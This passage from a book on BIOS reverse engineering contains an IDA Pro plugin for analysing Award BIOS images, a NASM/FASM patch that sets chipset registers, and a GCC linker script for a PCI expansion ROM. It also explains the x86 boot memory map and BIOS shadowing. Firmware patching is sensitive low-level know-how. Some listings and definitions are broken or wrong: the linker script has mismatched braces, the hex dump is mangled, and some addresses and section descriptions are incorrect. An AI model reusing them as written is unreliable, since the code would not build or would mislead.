        h_btn = GetDlgItem(hwnd_dlg, IDC_GO2_ENTRYPOINT);
        EnableWindow(h_btn, false);

        // Set flag accordingly
        enable_entry_point = false;
    }
    else
    {
        SendMessage(GetDlgItem(hwnd_dlg, IDC_CHK_ENTRYPOINT), BM_SETCHECK, 1, 0);

        // Disable the corresponding button
        // to prevent unwanted effects
        h_btn = GetDlgItem(hwnd_dlg, IDC_GO2_ENTRYPOINT);
        EnableWindow(h_btn, true);

        // Set flag accordingly
        enable_entry_point = true;
    }
}return TRUE;

case IDC_LIST_SEG:
{
    list_segments();
}return TRUE;

case IDC_LIST_FUNC:
{
    list_functions();
}return TRUE;

case WM_CLOSE:
{
    ShowWindow(hwnd_dlg, SW_HIDE);
}return TRUE;

return FALSE;
Initialize.

IDA will call this function only once.
If this function returns PLUGIN_SKIP, IDA will never load it again.
If this function returns PLUGIN_OK, IDA will unload the plugin but remember that the plugin agreed to work with the database.
The plugin will be loaded again if the user invokes it by pressing the hotkey or selecting it from the menu.
After the second load, the plugin will stay in the memory.
If this function returns PLUGIN_KEEP, IDA will keep the plugin in the memory.
In this case the initialization function can hook into the processor module and user interface notification points.
See the hook_to_notification_point() function.
In this example I checked the input file format and made a decision.
You may or may not check any other conditions to decide what you do:
whether you agree to work with the database or not.

int idaapi init(void)
{
    /*
     // Place processor checks here, e.g., Pentium 4 and Pentium 3,
     // so that you will be able to generate
     // the right processor-specific comments.
     if ( strcmp(inf.procName, "metapc", 8) != 0 )
     {
         return PLUGIN_SKIP;
     }*/
    hWndMain = (HWND)callui(ui_get_hwnd).vptr;
    hModule = GetModuleHandle("award_bios_analyzer.p64");
    return PLUGIN_KEEP;
}

Terminate.

Usually this callback is empty.

IDA will call this function when the user asks to exit.
// This function won't be called in the case of emergency exits.

void idaapi term(void)
{
    DestroyWindow(h_plugin_dlg);
    h_plugin_dlg = NULL;

    msg("bios analyzer plugin terminated...\n");
}

// The plugin method

// This is the main function of plugin.
// It will be called when the user selects the plugin.
// arg - the input argument, it can be specified in
// the plugins.cfg file. The default is zero.

void idaapi run(int arg)
{
    msg("Award bios binary analyzer plugin activated...\n");

    if(NULL == h_plugin_dlg)
    {
        h_plugin_dlg = CreateDialog( hModule, MAKEINTRESOURCE(IDD_MAIN),
                                   hMainWindow, plugin_dlg_proc);
    }

    if(h_plugin_dlg)
    {
        ShowWindow(h_plugin_dlg, SW_SHOW);
    }
}

// This is the preferred name of the plugin module in the menu system.
// The preferred name may be overriden in the plugins.cfg file.
char wanted_name[] = "All New Bios Analyzer plugin";

// This is the preferred hotkey for the plugin module.
// The preferred hotkey may be overridden in the plugins.cfg file.
// Note: IDA won't tell you if the hotkey is not correct.
// It will just disable the hotkey.
char wanted_hotkey[] = "Alt-U";

// -----------------------------
// PLUGIN DESCRIPTION BLOCK
// -----------------------------
plugin_t PLUGIN = {
    IDP_INTERFACE_VERSION,
    0,            // plugin flags
    init,         // Initialize
    term,         // Terminate; this pointer may be NULL
    run,          // Invoke plugin
    comment,      // Long comment about the plugin;
                   // it could appear in the status line
                   // or as a hint
    help,         // Multiline help about the plugin
    wanted_name,  // The preferred short name of the plugin
    wanted_hotkey // The preferred hotkey to run the plugin
};

The plugin that's created from listing 2.7 is shown in figure 2.23.
Figure 2.23 BIOS Binary Analyzer Plugin in action

Now, dissect listing 2.7. But first, note that the dialog box resource is added to the plugin project just like in other Win32 projects. The plugin starts its life with a call to the init function. This function is called when the plugin is first loaded into the IDA Pro workspace. In listing 2.7, this function initializes static variables used to store the main window handle and the module (plugin) handle as shown at the following lines:

```c
int idaapi init(void)
{
    // Some lines omitted...
    // Get the IDA Pro main window handle
    hWndMainWnd = (HWND)callui(ui_get_hwnd).vptr;
    // Get the plugin handle
    hModule = GetModuleHandle("award_bios_analyzer.p64");
    return PLUGIN_KEEP;
}
```
Those variables are used within the run function to initialize the dialog box user interface with a call to CreateDialog as shown at the following lines:

```c
void idaapi run(int arg)
{
    // Some lines omitted...
    if(NULL == h_plugin_dlg)
    {
        h_plugin_dlg = CreateDialog( hModule, MAKEINTRESOURCE(IDD_MAIN),
                                         hWndMain, plugin_dlg_proc);
    }
    if(h_plugin_dlg)
    {
        ShowWindow(h_plugin_dlg, SW_SHOW);
    }
}
```

The CreateDialog function is a Win32 API function used to create a modeless dialog box. A modeless dialog box is created to lump various tasks in one user interface. Note that the dialog box is created only once during the disassembling session in the run function. It will be hidden or shown based on user request. The run function is called every time the user activates the plugin. The task to show the plugin dialog box is accomplished by run, whereas the task to hide it is accomplished by the window procedure for the plugin dialog box, i.e., the plugin_dlg_proc function. The message handler for the plugin dialog box's WM_CLOSE message is responsible for hiding the dialog. This message handler is inside the dialog box window's procedure plugin_dlg_proc at the following lines:

```c
case WM_CLOSE:
    {
        ShowWindow(hwnd_dlg, SW_HIDE);
    return TRUE;
```

The resources used by this plugin are cleaned up by the term function. This function is called upon the plugin termination or unloading process. It destroys the window and sets the corresponding dialog box handle to NULL as shown at the following lines:

```c
void idaapi term(void)
{
    DestroyWindow(h_plugin_dlg);
    h_plugin_dlg = NULL;
    // Irrelevant line(s) omitted
}
```

The bulk of the work accomplished by the plugin's user interface is in the plugin_dlg_proc function. The entry point to this function is passed as one of the
parameters for the CreateDialog function during the creation of the plugin user interface. This function digests the window’s messages received by the plugin. The switch statement processes the window’s messages that enter plugin_dlg_proc, and appropriate action is taken. One of the “handlers” in this big switch statement provides a semiautomatic analysis for the Award BIOS binary. I delve into the engine of this analyzer in a later chapter.

The plugin’s user interface contains a button for analysis purposes; it’s marked by the Analyze caption. Take a look at the mechanism behind this button. Listing 2.7 showed that the window procedure for the dialog box is named plugin_dlg_proc. Within this function is the big switch statement that tests the type of window messages. In the event that the window message is a WM_COMMAND, i.e., button press, message, the low_word (lower 16 bits) wParam parameter of the window procedure will contain the resource_id of the corresponding button. This parameter is used to identify Analyze button press as shown in the following lines:

```c
 case WM_COMMAND:
     switch (LOWORD(wParam))
        {
        case IDC_ANALYZE_BINARY:
        {
            static const char analyze_form[] =
                "Binary Analysis\n" 
                "Enter the start and end address" 
                "for analysis below\n"
                "<~S~tarting address :N:8:8::>\n"
                "<~E~nding address :N:8:8::>\n";

            start_addr = get_screen_ea();
            end_addr = get_screen_ea();

            if( 1 == AskUsingForm_c(analyze_form, 
                &start_addr, &end_addr))
            {
                msg("IDC_ANALYZE: start_addr = 0x%X\n", 
                    start_addr);
                msg("IDC_ANALYZE: end_addr = 0x%X\n", 
                    end_addr);

                analyze_binary(start_addr, end_addr);
            }
        }
        return TRUE;

When the button is pressed, a new dialog box is shown. This dialog box is created in an unusual manner by calling an IDA Pro exported function named AskUsingForm_c. You can find the definition of this function in the kernwin.hpp file in the IDA Pro SDK include directory. The dialog box asks the user to input the start and the end addresses of the area in the binary file in IDA Pro to be analyzed as shown in figure 2.24.
When the user presses the OK button, the *starting address* and *ending address* parameters will be used as input parameters to call the `analyze_binary` function. The `analyze_binary` function analyzes the BIOS binary disassembled in the currently opened IDA Pro database. Understanding the guts of this function requires in-depth knowledge of BIOS reverse engineering, particularly Award BIOS. Thus, I dissect it in later chapters, after you are equipped with enough BIOS reverse engineering know-how.
Chapter 3 BIOS-Related Software Development Preliminary

PREVIEW

This chapter explains the prerequisite knowledge you need in the development of BIOS-related software, particularly BIOS patch and PCI expansion ROMs. The first section explains how to build a flat binary file from assembly language code. Later sections focus on how to use the GNU Compiler Collection (GCC) facility to build a flat binary file. GCC linker script and its role in the development of flat binary files are explained.

3.1. BIOS-Related Software Development with Pure Assembler

Every system programmer realizes that BIOS is "bare metal" software. It interfaces directly with the machine, with no layer between the BIOS and the silicon. Thus, any code that will be inserted into the BIOS, such as a new patch or a custom-built patch, must be provided in flat binary form. Flat binary means there's no executable file format, headers, etc., only bare machine codes and self-contained data. Nevertheless, there's an exception to this rule: expansion ROM has a predefined header format that must be adhered to. This section shows how to generate a flat binary file from an assembly language file by using the netwide assembler (NASM) and flat assembler (FASM).

Start with NASM. NASM is a free assembler and available for download at http://nasm.sourceforge.net. NASM is available for both Windows and Linux. It's quite powerful and more than enough for now. Listing 3.1 shows a sample source code in NASM of a patch I injected into my BIOS.

Listing 3.1 Sample BIOS Patch in NASM Syntax

```asm
; --------------- BEGIN TWEAK.ASM --------------------------------
BITS 16 ; To make sure NASM adds the 66 prefix to 32-bit instructions

section .text
start:
pushf
push eax
push dx
mov eax,ioq_reg ; Patch the ioq register of the chipset
mov dx,in_port
out dx,eax
mov dx,out_port
in eax,dx
or eax,ioq_mask
out dx,eax
; --------------- END TWEAK.ASM --------------------------------
```

1
mov eax, dram_reg ; Patch the DRAM controller of the chipset,
mov dx, in_port   ; i.e., the interleaving part
out dx, eax     
mov dx, out_port
in  eax, dx
or  eax, dram_mask
out dx, eax

mov eax, bank_reg ; Allow pages of different banks to be
                  ; active simultaneously
mov dx, in_port
out dx, eax     
mov dx, out_port
in  eax, dx
or  eax, bank_mask
out dx, eax

mov eax, tlb_reg ; Activate Fast TLB lookup
mov dx, in_port
out dx, eax     
mov dx, out_port
in  eax, dx
or  eax, tlb_mask
out dx, eax
pop dx
pop eax

popf
clc  ; Indicate that this POST routine is successful
retn ; Return near to the header of the ROM file

section .data
in_port  equ 0cf8h
out_port equ 0cfch
dram_mask equ 00020202h
dram_reg  equ 80000064h
ioq_mask  equ 00000080h
ioq_reg   equ 80000050h
bank_mask equ 20000840h
bank_reg  equ 80000068h
tlb_mask  equ 00000008h
tlb_reg   equ 8000006ch

; ------------ END TWEAK.ASM -------------------------------

The code is assembled using NASM with the invocation syntax (in a windows
console, i.e., cmd or dosprint):

nasm -fbin tweak.asm -o tweak.bin
The resulting binary file is `tweak.bin`. The following is the hex dump of this binary in Hex Workshop version 3.02.

### Hex Dump 3.1 NASM Flat Binary Output Sample

<table>
<thead>
<tr>
<th>Address</th>
<th>Hexadecimal Values</th>
<th>ASCII Values</th>
</tr>
</thead>
<tbody>
<tr>
<td>00000000</td>
<td>9C66 5052 66B8 5000 0080</td>
<td>fPrf.P........f..</td>
</tr>
<tr>
<td>00000010</td>
<td>FC0C 66ED 66D0 8000 0000</td>
<td>..f..f....f.</td>
</tr>
<tr>
<td>00000020</td>
<td>0080 BAF8 0C66 EFBA</td>
<td>f.....f....f..</td>
</tr>
<tr>
<td>00000030</td>
<td>0200 66EF 66B8 6B88 0080</td>
<td>f.f...f....f..</td>
</tr>
<tr>
<td>00000040</td>
<td>FC0C 66ED 66D0 4008 0020</td>
<td>..f.f.0...f.f.l.</td>
</tr>
<tr>
<td>00000050</td>
<td>0080 BAF8 0C66 EFBA</td>
<td>f.....f....f..</td>
</tr>
<tr>
<td>00000060</td>
<td>0000 66EF 5A66 589D F8C3</td>
<td>..f.ZfX...</td>
</tr>
</tbody>
</table>

If you want to analyze the output of the assembler, use ndisasm (netwide disassembler) or another disassembler to ensure that the code emitted by the NASM is exactly as desired.

You have been using NASM for BIOS patch development. Now proceed to a relatively easier assembler, FASM. FASM lends itself to BIOS patch development because it generates a flat binary file as its default output format. FASM is freeware and available for download at http://flatassembler.net/download.php. This section focuses on FASMW, the FASM version for Windows. Start by porting the previous patch into FASM syntax and assemble it with FASM. The source code is shown in listing 3.2.

### Listing 3.2 Sample BIOS Patch in FASM Syntax

```assembly
; --------------- BEGIN TWEAK.ASM --------------------------------
USE16        ; 16-bit real-mode code

in_port = 0cf8h
out_port = 0cfch
dram_mask = 00020202h
dram_reg = 80000064h
ioq_mask = 00000080h
ioq_reg = 80000050h
bank_mask = 20000840h
bank_reg = 80000068h
tlb_mask = 00000008h
tlb_reg = 8000006ch

start:
pushf
push eax
push dx
mov eax,ioq_reg ; Patch the ioq register of the chipset
mov dx,in_port
out dx,eax
mov dx,out_port
```
in  eax, dx
or  eax, ioq_mask

mov eax, dram_reg ; Patch the DRAM controller of the chipset,
mov dx, in_port  ; i.e., the interleaving part
out dx, eax
mov dx, out_port
in  eax, dx
or  eax, dram_mask
out dx, eax

mov eax, bank_reg ; Allow pages of different banks to be
                 ; active simultaneously
mov dx, in_port
out dx, eax
mov dx, out_port
in  eax, dx
or  eax, bank_mask
out dx, eax

mov eax, tlb_reg ; Activate Fast TLB lookup
mov dx, in_port
out dx, eax
mov dx, out_port
in  eax, dx
or  eax, tlb_mask
out dx, eax
pop dx
pop eax
popf

clc  ; Indicate
retn ; Return near to the header of the ROM file

To assemble the preceding listing, copy listing 3.2 to the FASMW code editor and then press Ctrl+F9 to do the compilation. There is less hassle than with NASM. The code editor is shown in figure 3.1.
FASM will place the assembly result in the same directory as the assembly source code. FASM will give the result a name similar to the source file name but with a *.com extension, not *.asm as the source code file did. The dump of the binary result is not shown here because it's just the same as the one assembled with NASM previously. Note that Fasm version 1.67 will emit a binary file with a *.bin extension for the source code in listing 3.2.

Even though using FASM or NASM is a matter of taste, I recommend FASM because it's a little easier to use than NASM. Furthermore, FASM was built with operating system development usage in mind. BIOS-related development would benefit greatly because both types of software development are dealing directly with "bare metal." However, note that this recommendation is valid only if you intend to use assembly language throughout the software development process, i.e., without mixing it with another programming language. The next section addresses this issue in more detail.

3.2. BIOS-Related Software Development with GCC

In the previous section, you developed a BIOS patch using only assembly language. For a simple BIOS patch, that's enough. However, for complicated system-level software development, you need to use a higher level of abstraction, i.e., a higher-level programming language. That means the involvement of a compiler is inevitable. This scenario sometimes occurs in the development of a BIOS plugin\(^1\) or in the development of

\(^1\) A BIOS plugin is system-level software that's integrated into the BIOS as a component to add functionality to the BIOS. For example, you can add CD-playing capability to the BIOS for diskless machines.
an application-specific PCI expansion ROM binary. I address this issue by looking into an alternative solution, the GNU Compiler Collection, a.k.a. GCC.

GCC is a versatile compiler. GCC has some interesting features for BIOS-related development:

1. GCC supports mixed language development through inline assembly constructs inside C/C++ functions.
2. GCC comes with GNU Assembler (GAS). GAS output can be combined seamlessly with GCC C/C++ compiler output through the GNU LD linker. GAS supports AT&T assembler syntax and recently began to support Intel assembler syntax, too.
3. GCC features so-called linker script support. Linker script is a script that gives detailed control of the overall linking process.

Start with a review of the compilation steps in a C compiler to understand these features. These steps are implemented not only in GCC but also in other C compilers.

![Figure 3.2 C compiler compilation steps](image)

Figure 3.2 shows that the linker plays an important role, i.e., it links the object and the library files from various sources into an executable file or pure machine code. In this

---

2 PCI expansion ROM binary is the software inside the ROM chip in a PCI expansion card. It's primarily used for initialization of the card during boot. However, it may contain other features.
book, I am only concerned with pure machine code output because you are dealing with the hardware directly without going through any software layer.

Linker script can control every aspect of the linking process, such as the relocation of the compilation result, the executable file format, and the executable entry point. Linker script is a powerful tool when combined with various GNU binutils. Figure 3.2 also shows that it's possible to do separate compilation, i.e., compile some assembly language source code and then combine the object file result with the C language compilation object file result by using LD linker.

There are two routes to building a pure machine code or executable binary if you are using GCC:

1. Source code compilation → Object file → LD linker → Executable binary
2. Source code compilation → Object file → LD linker → Object file → Objcopy → Executable binary

This section deals with the second route. I explain the linker script that's used to build the experimental PCI expansion ROM in part 3 of this book. It's a simple linker script. Thus, it's good for learning purposes.

Start with the basic structure of a linker script file. The most common linker script layout is shown in figure 3.3.

![Figure 3.3 Linker script file layout](image)

Linker script is just an ordinary plain text file. However, it conforms to certain syntax dictated by LD linker and mostly uses the layout shown in figure 3.3. Consider the makefile and the linker script used in chapter 7 as an example. You have to review the makefile with the linker script because they are tightly coupled.

---

3 The format of an executable file is operating system dependent.
4 GNU binutils is an abbreviation for GNU binary utilities, the applications that come with GCC for binary manipulation purposes.
5 Execution environment is the processor operating mode. For example, in a 32-bit x86-compatible processor, there are two major operating modes, i.e., 16-bit real mode and 32-bit protected mode.
Listing 3.3 Sample Makefile

```makefile
# Copyright © Darmawan Mappatutu Salihun
# File name : Makefile
# This file is released to the public for non-commercial use only
# *------------------------------------------------------------------
CC= gcc
CFLAGS= -c
LD= ld
LDFLAGS= -T pci_rom.ld
ASM= as
OBJCOPY= objcopy
OBJCOPY_FLAGS= -v -O binary

OBJS:= crt0.o main.o
ROM_OBJ= rom.elf
ROM_BIN= rom.bin
ROM_SIZE= 65536

all: $(OBJS)
    $(LD) $(LDFLAGS) -o $(ROM_OBJ) $(OBJS)
    $(OBJCOPY) $(OBJCOPY_FLAGS) $(ROM_OBJ) $(ROM_BIN)
    build_rom $(ROM_BIN) $(ROM_SIZE)

crt0.o: crt0.S
    $(ASM) -o $@ $<
%.o: %.c
    $(CC) -o $@ $(CFLAGS) $<
clean:
    rm -rf *~ *.o *.elf *.bin
```

Listing 3.3 shows that there are two source files; the first one is an assembler source code that's assembled by GAS, and the second is a C source code that's assembled by the GNU C/C++ compiler. The object files from the compilation of both source codes are linked by the linker to form a single object file. This process is accomplished with the help of the linker script:

```
$(LD) $(LDFLAGS) -o $(ROM_OBJ) $(OBJS)
```

`LDFLAGS` is previously defined to parse the linker script file:
The name of the linker script is `pci_rom.ld`. The content of this script is shown in listing 3.4.

**Listing 3.4 Sample Linker Script**

```c
/* ============================================================== */
/* Copyright (C) Darmawan Mappatutu Salihun */
/* File name : pci_rom.ld */
/* This file is released to the public for noncommercial use only */
/* ============================================================== */

OUTPUT_FORMAT("elf32-i386")
OUTPUT_ARCH(i386)
ENTRY(_start)
__boot_vect = 0x0000;

SECTIONS
{
   .text __boot_vect :
   {
      *( .text)
   ) = 0x00

   .rodata ALIGN(4) :
   {
      *( .rodata)
   ) = 0x00

   .data ALIGN(4) :
   {
      *( .data)
   ) = 0x00

   .bss ALIGN(4) :
   {
      *( .bss)
   ) = 0x00

```

Now, return to figure 3.3 to understand the contents of listing 3.4. First, let me clarify that a comment in a linker script starts with `/*` and ends with `*/` just as in C programming language. Thus, the first effective line in listing 3.4 is the line that declares the output format for the linked files:

```c
OUTPUT_FORMAT("elf32-i386")
```
The preceding line informs the linker that you want the output format of the linking process to be an object file in the elf32-i386 format, i.e., object file with executable and linkable format (ELF) for the 32-bit x86 processor family. The next line informs the linker about the exact target machine architecture:

```
OUTPUT_ARCH(i386)
```

The preceding line informs the linker that the linked object file will be running on a 32-bit x86-compatible processor. The next line informs the linker about the symbol that represents the entry point of the linked object file:

```
ENTRY(_start)
```

This symbol actually is a label that marks the first instruction in the executable binary produced by the linker. In the preceding linker script statement, the label that marks the entry point is _start. In the current example, this label is placed in an assembler file that sets up the execution environment. A file like this usually named crt0 and found in most operating system source code. The relevant code snippet from the corresponding assembler file is shown in listing 3.5.

Listing 3.5 Assembler Entry Point Code Snippet

```
# -----------------------------------------------------------------------
# Copyright (C)  Darmawan Mappatutu Salihun
# File name : crt0.S
# This file is released to the public for non-commercial use only
# -----------------------------------------------------------------------

.text
.code16 # Default real mode (add 66 or 67 prefix to 32-bit instructions)
# Irrelevant code omitted...

# Entry point/BEV implementation (invoked during bootstrap / int 19h)
# .global _start # entry point
_start:
    movw $0x9000, %ax # setup temporary stack
    movw %ax, %ss     # ss = 0x9000
# Irrelevant code omitted...
```

Crt0 is the common name for the assembler source code that sets up an execution environment for compiler-generated code. It is usually generated by C/C++ compiler. Crt stands for C runtime.
Listing 3.5 is an assembly source code in AT&T syntax for x86 architecture. It clearly shows the existence of the _start label. The label is declared as a global label:

```
global _start # entry point
```

It must be declared as global label to make it visible to the linker during the linking process. It's also possible to place the entry point in C/C++ source code. However, placing the entry point in C/C++ source code has a compiler-specific issue. Some compilers add an underscore prefix to the label in the source code, and some compilers omit the prefix. Thus, I won't delve into it. You can dig up more information about this issue in the corresponding compiler.

Proceed to the next line in listing 3.4:

```
__boot_vect = 0x0000;
```

This line is a constant definition. It defines the starting address for the text section. The next lines are sections definition. Before I delve into it, I'll explain a bit about these sections.

From the compiler's point of view, the generated codes are divided into several parts called sections. Every section plays a different role. A section that solely contains executable codes is called a text section. A section that only contains uninitialized data is called a data section. A section that only contains constants is called a read-only data section. A section that only contains stack data during runtime is called a base stack segment section. Some other types of sections are operating system dependent, so they are not explained here. The sections are placed logically adjacent to one another in the processor address space. However, it depends a lot on the current execution environment. Figure 3.4 shows the typical address mapping of the previously mentioned sections for a flat binary file.

---

8 A label in C/C++ source code is the function name that's globally visible—throughout the source code.
Figure 3.4 sections layout sample

Now, return to the sections definition in listing 3.4:

```c
SECTIONS
{
    .text __boot_vect :
    {
        *( .text)
    ) = 0x00

    .rodata ALIGN(4) :
    {
        *( .rodata)
    ) = 0x00

    .data ALIGN(4) :
    {
        *( .data)
    ) = 0x00

    .bss ALIGN(4) :
    {
        *( .bss)
    ) = 0x00
}
```
The preceding sections definition matches the layout shown in figure 3.4 because the output of the makefile in listing 3.3 is a flat binary file. The SECTION keyword starts the section definition. The .text keyword starts the text section definition, the .rodata keyword starts the read-only data section definition, the .data keyword starts the data section definition, and the .bss keyword starts the base stack segment section. The ALIGN keyword is used to align the starting address of the corresponding section definition to some predefined multiple of bytes. In the preceding section definition, the sections are aligned to a 4-byte boundary except for the text section.

The name of the sections can vary depending on the programmer's will. However, the naming convention presented here is encouraged for clarity.

Return to the linker script invocation again in listing 3.3:

```makefile
$(LD) $(LDFLAGS) -o $(ROM_OBJ) $(OBJS)
```

In the preceding linker invocation, the output from the linker is another object file represented by the `ROM_OBJ` constant. How are you going to obtain the flat binary file? The next line and previously defined flags in the makefile clarify this:

```makefile
OBJCOPY= objcopy
OBJCOPY_FLAGS= -v -O binary
# irrelevant lines omitted...
$(OBJCOPY) $(OBJCOPY_FLAGS) $(ROM_OBJ) $(ROM_BIN)
```

In these makefile statements, a certain member of GNU binutils called `objcopy` is producing the flat binary file from the object file. The `O binary` in the `OBJCOPY_FLAGS` informs the objcopy utility that it should emit the flat binary file from the object file previously linked by the linker. However, it must be noted that objcopy merely copies the relevant content of the object file into the flat binary file; it doesn't alter the layout of the sections in the linked object file. The next line in the makefile is as follows:

```makefile
build_rom $(ROM_BIN) $(ROM_SIZE)
```

This invokes a custom utility to patch the flat binary file into a valid PCI expansion ROM binary.

Now you have mastered the basics of using the linker script to generate a flat binary file from C source code and assembly source code. Venture into the next chapters. Further information will be presented in the PCI expansion ROM section of this book.
Chapter 4 Getting Acquainted With the System

PREVIEW

This chapter explains the big picture of the BIOS code execution mechanism. The BIOS does not execute code in the same way as most application software. The hardware and software intricacies, as well as the compatibility issues, inherited from the first-generation x86 processor complicate the mechanism. These intricacies and the x86 hardware architecture overall are explained thoroughly in this chapter. Note that the focus is on the motherboard, CPU, and system logic.¹

4.1. Hardware Peculiarities

When it comes to the BIOS, PC hardware has many peculiarities. This section dissects those peculiarities and looks at the effect of those peculiarities on BIOS code execution.

4.1.1. System Address Mapping and BIOS Chip Addressing

The overall view of PC hardware architecture today is complex, especially for people who didn't grow up with DOS. What does modern-day hardware have to do with DOS? DOS has a strong bond with the BIOS and the rest of the hardware. This difficult relationship has been inherited for decades in the PC hardware architecture to maintain compatibility. DOS has many assumptions about the BIOS and the rest of the hardware that interact with it. Unlike a modern-day operating system, DOS allows the application software to interact directly with the hardware. Thus, many predefined address ranges have to be maintained in today's PC hardware as they worked in the DOS days. Currently, the bulk of these predefined address range tasks are handled by the motherboard chipset, along

¹ System logic is another term for motherboard chipset.
with present-day bus protocols. These predefined address ranges lie in the first megabyte of x86 address space, i.e., \texttt{0x0_0000–0xF_FFFF}. Be aware that this address range is mapped not only to RAM but also to several other memory-mapped hardware elements in the PC (more on this later).

An x86 CPU begins its execution at physical address \texttt{0xFFFF_FFF0}. This is the address of the first instruction within the motherboard BIOS. It's the responsibility of the motherboard chipset to remap this address into the system BIOS chip. The system BIOS is the first program that the processor executes. Table \ref{table:memory_map} explains the typical memory map of an x86-based system just after the system BIOS has finished initialization.

<table>
<thead>
<tr>
<th>System-wide Addressing</th>
<th>Specific Address Range</th>
<th>Explanation</th>
</tr>
</thead>
<tbody>
<tr>
<td>DOS Area</td>
<td>\texttt{0x0_0000–0x9_FFFF}</td>
<td>The DOS area is 640 KB and is always mapped to the main memory (RAM) by the motherboard chipset.</td>
</tr>
<tr>
<td>Legacy VGA Ranges and/or Compatible SMRAM Address Range</td>
<td>\texttt{0xA_0000–0xB_FFFF}</td>
<td>The legacy 128-KB VGA memory range \texttt{0xA0000–0xBFFFF} (frame buffer) can be mapped to an AGP or PCI device. However, when compatible SMM space is enabled, SMM-mode processor accesses to this range are routed to physical system memory at this address. Non-SMM-mode processor accesses to this range are considered to be to the video buffer area as described previously.</td>
</tr>
<tr>
<td>Expansion ROM Area</td>
<td>\texttt{0xC_0000–0xD_FFFF}</td>
<td>This is the 128-KB ISA or PCI expansion ROM region. The system BIOS copies PCI expansion ROM to this area in RAM from the corresponding PCI expansion card ROM chip and executes it from there. As for ISA expansion ROM, it only exists on systems that support an ISA expansion card, and sometimes the expansion ROM chip of the corresponding card is hardwired to a certain memory range in this area. In most cases, part of this memory range can be assigned one of four read/write states: read only, write only, read/write, or disabled. The setting of certain motherboard chipset registers controls this state assignment. The system BIOS is responsible for assigning the correct read/write state.</td>
</tr>
<tr>
<td>Extended System BIOS Area</td>
<td>\texttt{0xE_0000–0xE_FFFF}</td>
<td>This 64-KB area can be assigned read and write attributes so that it can be mapped either to main memory or to the BIOS ROM chip via the system chipset. Typically, this area is used for RAM or ROM. On systems that only support 64-KB BIOS ROM chip capacity, this memory area is always mapped to RAM.</td>
</tr>
<tr>
<td>System BIOS Area</td>
<td>\texttt{0xF_0000–0xF_FFFF}</td>
<td>This area is a 64-KB segment. This segment can be</td>
</tr>
</tbody>
</table>
assigned read and write attributes. It is by default (after reset) read/write disabled, and cycles are forwarded to the BIOS ROM chip via the system chipset. By manipulating the read/write attributes, the system chipset can “shadow” the BIOS into the main memory. When disabled, this range is not remapped to main memory by the chipset.

### Extended Memory Area

- **0x10_0000–Top_of_RAM**

  This area can have a hole, i.e., an area not mapped to RAM but mapped to ISA devices. This hole depends on the motherboard chipset configuration.

### Main System Memory from 1 MB (10_0000h) to the Top of the RAM

This area can have a hole, i.e., an area not mapped to RAM but mapped to ISA devices. This hole depends on the motherboard chipset configuration.

### AGP or PCI Memory Space

This area has two specific ranges:

- **APIC_Configuration_Space** from 0xFEC0_0000 (4 GB–20 MB) to 0xFECF_FFFF and 0xFEE0_0000 to 0xFEEF_FFFF. This mapping depends on the motherboard chipset. If the chipset doesn’t support APIC, then this mapping doesn’t exist.
- High BIOS area from 4 GB to 2 MB. This address range is mapped into the BIOS ROM chip. Yet, it depends on the motherboard chipset. Some chipsets only support mapping 0xFFFFC_0000 (4 GB–256 KB) to 0xFFFF_FFFF (4 GB) for the BIOS ROM chip. However, at least the 0xFFFFD_0000 (4 GB–64 KB) to 0xFFFF_FFFF (4 GB) memory space is guaranteed to map into the BIOS ROM chip for all motherboard chipsets.

In most cases, anything outside of these specific ranges but within the PCI memory space (Top_of_RAM–4 GB) is mapped to a PCI or AGP device that needs to map “local memory” (memory local to the PCI card) to the system memory space. This mapping is normally initialized by the system BIOS. Access to this memory space is routed by the system chipset (memory controller). In the case of AMD Athlon 64 and Opteron platforms, the processor handles this routing because the memory controller is embedded in the processor itself.

### Table 4.1 System-wide address mapping for 32-bit compatible x86 processors

The whole story is more than the preceding table. There are two more concepts that need to be understood, i.e., address aliasing and BIOS shadowing.

**Address aliasing** refers to the capability of the motherboard chipset to map two different physical address ranges into one physical address range within a device all at

---

2 In this context, these address ranges are seen from the processor’s perspective.
BIOS shadowing refers to the capability of the motherboard chipset to map one physical address range into two different physical devices in two different instances. For example, the 0xF000–0xFFFF address range can point to the last segment of the BIOS ROM chip at one instance and then point to the RAM at the other instance, depending on certain chipset register settings.

Now, see how these concepts work in a real-world scenario. Start with the address aliasing samples. I'm going to present address aliasing examples from the Intel 955X-ICH7 chipset. To understand the whole system, you have to look at the block diagram.

---

3 The segment size is 64 KB because the processor is in real mode at this point.
4 The same address range in RAM.
The block diagram in figure 4.1 depicts the connections between the northbridge, the southbridge, and the BIOS chip. The northbridge connects to the southbridge via the...
direct media interface (DMI)\(^5\), and the southbridge connects to the BIOS ROM via the LPC interface. There's no direct physical connection between the northbridge and the BIOS chip. Thus, any read or write transaction from the processor to the BIOS chip will travel through the northbridge, then the DMI, then the southbridge, and through the LPC interface to the BIOS chip. In addition, *any logic operation*\(^6\) performed by the northbridge and the southbridge as the read or write transaction travels through them will affect the transaction that finally arrives in the BIOS chip. Note that LPC doesn't alter the transactions between the southbridge and the BIOS chip.

---

\(^5\) Direct media interface (DMI) is the term used by Intel to refer to the connection between the northbridge and southbridge in Intel 955X Express chipset.

\(^6\) A *logic operation* in this context means a logic operation used for address space translation, such as masking the destination address of the read/write operation or a similar task.
Figure 4.2 shows the Intel 955X Express system memory map from the CPU perspective just after power-on. Be aware that the memory controller\(^7\) carries out this memory-mapping task. As shown in figure 4.2, the 0xFFFF_0000–0xFFFF_FFFF address range is an alias into 0xF_0000–0xF_FFFF.\(^8\) The last segment of the BIOS ROM chip is mapped into this address range. Hence, whenever a code writes to or reads from this address range, the operation is forwarded to the southbridge by the northbridge; there is no direct connection between the BIOS chip and the northbridge. This only applies at the beginning of the boot stage, i.e., just after reset. Usually, the 0xF_0000–0xF_FFFF address range will be mapped into the system dynamic random access memory (DRAM) chip after the BIOS reprograms the northbridge registers. The address mapping is reprogrammed using the northbridge DRAM control register located in the northbridge PCI configuration register. Intel has a specific name for these registers across its chipset datasheets, i.e., Programmable Attribute Map registers. Let's see how it looks like in the datasheet. The Intel 955X datasheet, page 67, section 4.1.20, says:

| PAM0: Programmable Attribute Map 0 (D0:F0) |
|-------------------------------|---------------------------------|
| PCI Device:                  | 0                               |
| Address Offset:              | 90h                             |
| Default Value:               | 00h                             |
| Access:                      | R/W                             |
| Size:                        | 8 Bits                          |

This register controls the read, write, and shadowing attributes of the BIOS area from 0F_0000h–0F_FFFFh.

